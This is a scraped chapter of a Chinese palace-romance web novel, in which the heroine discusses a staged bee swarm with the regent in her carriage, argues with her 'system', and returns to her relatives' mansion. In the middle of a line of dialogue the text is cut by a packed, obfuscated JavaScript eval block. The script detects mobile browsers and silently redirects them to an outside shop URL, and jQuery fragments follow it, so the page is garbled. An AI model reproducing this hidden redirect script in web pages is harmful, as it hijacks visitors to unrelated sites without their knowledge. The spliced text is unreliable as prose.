默认冷灰
24号文字
方正启体

17. Chapetr 17

作者:误题纪本书字数:K更新时间:
    宫门


    喻清词在鸦青的搀扶下回到了自己马车,直到彻底的坐在马车上,才缓缓轻舒一口气,捏了捏自己涨疼的额头。


    鸦青吩咐马车回府,随后安静坐在喻清词身边,另外一边的芍药安静的帮她按着肩膀,目光心疼。


    “小姐…”


    喻清词轻轻摆手,端起茶盏抿了一口,缓缓开口:“也算是有惊无险了。”


    芍药面带疑惑:“小姐,您刚刚让鸦青找我拿的蜂蜜露是…”


    喻清词对她微微一笑,眼中流露出对她的欣赏,这个小丫鬟很机灵,主子吩咐的事情即使当时再不理解,也不会质疑,只会立即完成,也多亏了这次芍药跟着来了,才能刚好备上了蜂蜜露。


    “那些蜂蜜露…是我用做引来蝴蝶蜜蜂的关键之物。”


    喻清词一边说一边放下手中的茶盏,眼底有着丝丝的疲惫。


    “我提前离席,随后将蜂蜜露洒在了几处牡丹花丛中,之后又吩咐鸦青在花厅外围点了几个特制的香丸——那香丸与蜂蜜露气味相融之后,会立即引来蜂蝶。”


    芍药恍然大悟:“原来如此!难怪那些蜂蝶来得如此蹊跷!”


    坐在前面的鸦青眉头微微皱起,一脸担忧,看向喻清词的目光十分紧张:“可是…小姐您此举…虽然化解了眼前的危机,可是皇后娘娘和陛下那边…”


    “皇后娘娘已然是心知肚明的,毕竟年纪轻轻就能在太后和我们那位贤妃娘娘的干涉下,还能稳坐六宫之首,绝不是所见这般单纯…”


    喻清词轻声开口,指尖无意识的摩挲着茶盏的边缘,喃喃开口:“皇后娘娘特地当着赏花宴提出作诗作画,分明就是存有了试探之心…”


    她轻轻抬起马车的车帘,目光看向窗外的宫墙,接着道:“如今朝廷局势尚未明朗,而喻家手握重权与财权,我如果在此次赏花宴上太快崭露头角,无论此时我作诗作画好坏与否,最终这些定都会成为他们攻击父亲母亲兄长的借口。”


    马车在青石路上平稳的行驶着,喻清词安静的看着窗外已经渐渐远去的宫墙,心中无奈叹气。


    “只是……”


    喻清词关上马车的车窗,歪着头思索着,声音低了下去,像是说给自己听,“经此一事,皇后娘娘怕是会关注到我了,就不知…是敌人还是朋友了…”


    话音刚落,马车突然一顿,随机稳稳的停了下来。


    不一会儿,外面传来车夫恭恭敬敬的声音:“小姐,摄政王府的马车拦住了去路。”


    喻清词疑惑一瞬,与一旁鸦青交换了一个眼神,不解:“你家王爷这又是哪一出?”


    鸦青无奈摇了摇头,毕竟谁也不敢揣测主子的心思,随后轻轻掀开车帘的一角。


    只见不远处,一辆玄色的马车霸道的横在青石板路中间,车帘被缓缓的掀起,白鹤眠似笑非笑的脸出现在众人面前。


    “喻小姐,”


    白鹤眠慵懒的开口,看她的目光带着淡淡笑意:“本王的车辕坏了,不知道可否搭个便车?”


    这借口找的实在有些拙劣,喻清词看他的眼神带着一丝看呆子的神情——摄政王的马车又怎会轻易损坏,当她是傻子嘛?


    喻清词心中明白,这是白鹤眠有事情来找她了。


    她缓缓深吸一口气,转头示意鸦青放下车帘,声音平静:“王爷若是不嫌弃,请上车吧。”


    车帘再度掀起,白鹤眠弯腰进来,偌大的马车顿时显得有些狭小。


    鸦青和芍药对视一眼,识趣的对二人行礼,随后一前一后的退出马车,与马车前方的车夫同坐。


    马车内,白鹤眠在喻清词对面坐下,目光看向她,眼神在她脸上流转偏口钳,忽然轻笑道:“今日这出戏,演得不错。”


    喻清词这才高傲的抬起头,抱胸靠着背后的垫子,一脸骄傲:“看出来了呀,还以为你没发现呢!”


    白鹤眠无奈摇头,随后垂眸,抬手执壶缓缓为喻清词斟茶。


    “我智商有那么低吗?”


    白鹤眠将茶壶放到一边抬眸看向她:“蜜蜂和蝴蝶为何偏偏在作诗作画之时来袭?又为何偏偏避开了喻小姐所在的位置?”


    喻清词嘟嘴,接过他递过来的茶盏,两人指尖若有似无的轻轻擦过。


    她就该知道,自己这点小把戏是肯定瞒不过这位的眼睛。


    “那我们尊贵的摄政王殿下既然已经看穿了我的计谋,那要如何处置我呀?”


    喻清词笑着抬眼,直直的望进他深邃的眼眸里。


    白鹤眠没有回答,只是缓缓移开对视的目光,随后慢条斯理的品尝了一口茶水,才慢慢开口:“你可知,你今日若是作诗作画,会有如何的后果?”


    喻清词眉头微动,脸上笑着的面前缓缓收起,渐渐严肃,沉默片刻道:“我只能想到一部分。”


    白鹤眠放下茶盏,声音放低道:“皇后此举,确实是存有试探的心思。”


    喻清词看向他,眼中流露疑惑,


    白鹤眠没停顿太久,接着道:“但她要的,不仅仅是要看你的才华,更多针对的是你的立场。”


    “我的立场?”


    喻清词眉头皱起,有一丝疑惑。


    “对,你的立场——你若是作诗作画的是牡丹,那你便是太后一派;而你若是咏物言志,那便会归为清流一党。”


    喻清词猛地看向他:“不是!这么直接的就归过去了吗!”


    白鹤眠微微点头:“无论你如何选择,喻家都将被卷入漩涡之中。”


    “有没有可能我没有那么多的想法!他们这和我们做语文阅读理解有什么区别!”


    喻清词不理解的吐槽,但是心中还是闪过一丝震惊——她只想到了藏拙这一层,却为料想到更深处的。


    “你倒是厉害,可以看出来这么多。”


    虽说两个人是相爱相杀的类型,但是她对白鹤眠还是有敬佩的。


    白鹤眠淡淡笑了笑:“毕竟比你经历的多了一些。”


    喻清词看向他,想到他曾经一个人撑起整个家族,一时不知道该如何回答他的这句话。


    白鹤眠看到她的眼中的情绪,忽然倾身向前,距离近的都可以看清她微微颤动的睫毛。


    “怎么?”


    他声音低沉,带着几分玩味:“你心疼我?”


    淡淡的白檀香围绕着,他的气息拂过喻清词的耳畔,她不经意往后缩了缩,却突然被白鹤眠伸手扣住手腕。


    “下次若是还要行事,记得做的再干净一些。”


    白鹤眠淡淡的声音里带着若有若无的笑意:“毕竟不是每次都可以遇见本王这样…乐于帮你善后的人~”


    说罢,他松开握住喻清词的手,转身下车。


    马车重新启动,喻清词望着方才被他握过的手腕,在车内气得跺脚:“白鹤眠!这个人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979609|193398||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    没事干离我那么近干嘛!咋滴!不会是想占我便宜吧!!”


    【宿主…你是木头吗?】


    007小心翼翼的开口说了一句。


    “你才是木头!不对!你一个系统是毛线木头!白鹤眠才是木头!我为什么是木头,你纯造谣,不要以为你是系统我不敢打你!”


    说着,还表情恶狠狠还对着空气挥了挥自己的小拳头,完全不管是不是真的可以吓到自己系统,反正先威胁了再说!


    【你?…】


    007一时语塞,如果他有实体,现在应该挺懵逼的。


    罢了…看来白老师的前路任重而道远…


    “对了!”


    喻清词像是想起来了什么,接着对系统道:“我能用白鹤眠的功德点吗?”


    【你们是系统绑定的,原则上是完全可以的。】


    【但是…】


    “好的,没有但是,小嘴巴!”


    喻清词抬起手,轻轻做了一个“嘘”的动作:“我们按照原则来,其他的不要说,我听不见。”


    “你放心吧!我会监督白鹤眠认真努力勤奋的多多获取功德点!”


    【这…对吗?】


    “对的对的,非常的对!”


    喻清词舒服的靠着,既然自己的奖励点那么难获得,那咱们就用白鹤眠的功德!


    一家人就不要说两家话啦~


    马车驶过长街,夕阳的余晖透过车帘的缝隙照进马车里,在喻清词的脸上投下丝丝光影。


    芍药的声音从车外面传来:“小姐,到府了。”


    喻清词深吸一口气,轻轻拍了拍自己的脸,整理好衣袖,又恢复到往日里那个端庄温婉的小姐模样。


    车帘掀开,车外只有芍药和车夫两人,鸦青已经悄无声息的隐藏到暗处。


    暮色四合。


    许府门前的灯笼已经点亮,昏黄的光晕在晚风中轻轻摇曳。


    喻清词扶着芍药的手下车,裙裾拂过青石台阶,发出细微的窸窣声。


    她抬眼望去,府门内灯火通明,开口问道:“秦凝已经到府了?”


    门口等待已久的茯苓上前,恭敬的回答道:“秦小姐与尚小姐在半个时辰前就已经回府了。”


    喻清词在门前站定:“可有人询问我为何未归?”


    茯苓与芍药对视一眼:“在秦小姐刚到府之时,老太爷与老夫人提了一嘴。”


    喻清词脚步微顿,唇角牵起一丝若有若无的冷笑,她替原主有些不值。


    晚风穿过庭院,吹在她身上,竟比车辕上的夜露更寒几分。


    外祖父外祖母是好的,可那份好,就如同是隔着一层纱的灯烛,暖意透过来,也只是有了一些微弱的光芒,更何况两老更多的是一种愧疚,准确说是对自己母亲的愧疚,可是这份愧疚…会影响到她。


    她站在这片灯火通明里,裙摆下的青石板路,每一步都踩得都如同客居,许府毕竟是许家二房掌家,更何况二房本就与自己有些矛盾。


    她身边只有自己,甚至说许家大房只有她一个人留在这里,即使这里是母亲的娘家,可是终究也是寄人篱下。


    并不是说许府不好,可是…


    喻清词轻轻叹气,一种说不出的感觉涌上心头…


    想家…


    不仅仅是替原主想念有父母哥哥在的喻府,更是想念远在天边的…


    另外一个家…
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)